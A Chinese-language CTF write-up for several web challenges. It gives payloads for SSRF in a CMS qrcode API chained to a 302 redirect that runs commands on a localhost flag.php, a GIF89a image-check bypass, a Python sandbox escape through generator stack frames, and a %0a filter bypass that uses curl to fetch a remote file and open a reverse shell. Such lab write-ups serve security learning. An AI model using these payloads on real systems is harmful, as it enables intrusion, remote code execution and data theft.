Web
easycms
发现目录下存在 flag.php
有hint
提示1: /flag.php:
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?
看见 $_SERVER[“REMOTE_ADDR”] != “127.0.0.1” 首先考虑找ssrf
全局搜索一下 curl_exec 函数的调用
在 dayrui\Fcms\Core\Helper.php中
存在 dr_catcher_data 对 curl_exec 进行了调用
再往上找 在 dayrui\Fcms\Control\Api.php
里面的 qrcode 函数里面找到了调用
这里的一些参数都是可控的 尤其是$url的值
我们只要绕过一些判断即可
payload:
s=api&c=Api&thumb=可控url地址&m=qrcode&text=test&size=80&level=1
在vps上面的php环境下写个 header 302跳转 的php文件
<?php header("Location: http://127.0.0.1/flag.php?cmd=反弹shell命令");?>
弹出shell后直接执行./readfile 读取flag内容
easycms_revenge
注意审计源码 而不是随意猜测判断魔改逻辑
多了个图片判断
302跳转内容: POC1
<?php header("Location: http://127.0.0.1/flag.php?cmd=反弹shell命令");?>GIF89a
GIF89a同理可以用define定义
POC2
<?php header("Location: http://127.0.0.1/flag.php?cmd=payload");?> #define width 5000 #define height 5000
思考:为什么图片判断必须在后面
为什么不本地试试了访问是否进行302跳转了 明显不通
如果GIF89a在前面的化 报错第一行 不能修正header information
在PHP中
==首行代码即调用header,防止在header之前有任何输出==
POC因该为
<?php header("Location: http://127.0.0.1/flag.php?cmd=反弹shell");?>GIF89a
mossfern
Python Jail逃逸栈帧
题目改编自
https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Just%20a%20pyjail
考虑栈帧逃逸sandbox
列举当前生成器的栈帧
每个栈帧都会保存==当时的 py 字节码和记录自身上一层的栈帧==
def my_generator():
yield 1
yield 2
yield 3
gen = my_generator()
frame = gen.gi_frame
print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)
可以回显说明 栈帧逃逸是可用的
def waf():
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
dir=buil.dir
print(dir(buil))
waf()
如果您熟悉 python,您可能知道有一个__loader__
on __builtins__
,它允许您导入任何内置模块 ( sys.builtin_module_names
)。神奇的是,import
在此版本中它不会触发审核事件
__builtins__["__loader__"].load_module
拆分单个字符/编码绕过
def waf():
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
dir=buil.dir
str=buil.str
#print(dir(buil))
#print(dir(a.f_back.f_back.f_code.co_consts))
for i in str(a.f_back.f_back.f_code.co_consts):
print(i,end=" ")
waf()
结合 CF 去空白 直接翻转输出也是可以的
def waf():
a=(a.gi_frame.f_back.f_back for i in [1])
a = [x for x in a][0]
buil=a.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
dir=buil.dir
str=buil.str
#print(dir(buil))
print(str(a.f_back.f_back.f_code.co_consts)[::-1])
waf()
这里从seed入手构造:
def f():
yield seed.gi_frame.f_back.f_back.f_back
seed = f()
后面 if flag in output
判断 直接hex()编码bypass:
def ff():
def f():
yield seed.gi_frame.f_back.f_back.f_back
seed = f()
for item in seed:
raw = item
frame = raw.f_globals
builtins = raw.f_builtins
loader = builtins["_""_loader_""_"]
get = builtins["get""attr"]
os = get(loader, "load_module")("os")
setattr = builtins["setattr"]
setattr(os, "_e""xit", lambda x: None)
print(builtins["open"]("/flag").read().encode().hex())
ff()
Simple_php
可以用 %0a 绕过关键字
curl下载远程文件
cmd=cu%0arl http://ip/file -o /tmp/shell
运行反弹shell
文件系统没发现 flag
读取/etc/passwd 发现存在 mysql用户
尝试本地登录
mysql -u root -p root
发现flag在数据库中
ezjava
待填坑